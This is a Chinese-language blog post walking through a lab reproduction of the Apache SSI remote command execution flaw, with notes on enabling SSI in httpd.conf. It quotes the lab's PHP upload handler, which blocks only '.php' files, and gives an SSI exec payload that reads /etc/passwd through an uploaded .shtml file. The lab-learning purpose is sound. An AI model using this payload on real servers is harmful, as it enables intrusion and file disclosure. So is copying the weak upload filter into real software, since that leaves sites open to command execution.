Apache SSI 远程命令执行漏洞复现
使用SSI(Server Side Include)的html文件扩展名(.shtml),通常称为”服务器端嵌入“或者叫”服务器端包含“。
shtml不是html而是一种服务器API,shtml是服务器动态产生的html。两者都是超文本格式,但shtml是一种用于SSI(Servcie Side Include ,服务器端包含指令)技术的文件,一般浏览器访问时会优先扫描依次shtml文件看有没有SSI指令存在,就就按服务器设定的规则去解释SSI指令,然后跟html一起被渲染。当shtml或shtm中不包含服务端可执行脚本时作用和html或htm一样。
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用`<!–#exec cmd=”id” –>`语法执行任意命令。
vulhub对该漏洞提供了文件上传的页面。
<?php if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (in_array($ext, ['php'])) { die('Unsupported filetype uploaded.'); } move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']); echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>"; endif; ?>
从代码可以看出只过滤了php后缀的文件,而当前环境是开启了SSI和CGI的,所以可以上传shtml文件。
<!–#exec cmd=”cat /etc/passwd”–>
再访问我们刚才上传的test.shtml文件,触发命令执行。
回显了执行结果。
漏洞需要满足的条件:
- Web服务器为Apache和IIS(支持SSI功能的服务器)
- 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
- Web应用程序在返回响应的HTML页面时,嵌入用户输入
- 未对输入的参数值进行输入过滤
因为Apache默认是不支持SSI的,所以需要我们更改httpd.conf来进行配置。
Apache配置ssi功能
我这里以windows平台的Apache2.2.22为例,打开conf目录下的httpd.conf文件。
#AddType text/html .shtml
#AddOutputFilter INCLUDES .shtml
把这两句前面的”#”去掉,如果要使html也支持ssi可以改写成
AddType text/html .shtml .html
AddOutputFilter INCLUDES .shtml .html
并非所有文件中的ssi指令都会被解析,必须告诉Apache应该解析哪些文件,如果我们的指令放在了.htm类型的文件中,那么就需要在上面两条命令中分别加入.htm一项,否则便不会解析未指定的文件中的ssi命令,因为命令是放在注释中的,故不解析的将显示空。
#Options Indexes FollowSymLinks
把这句前的”#”去掉,改写成
Options Indexes FollowSymLinks Includes
微信赞赏支付宝赞赏
发表评论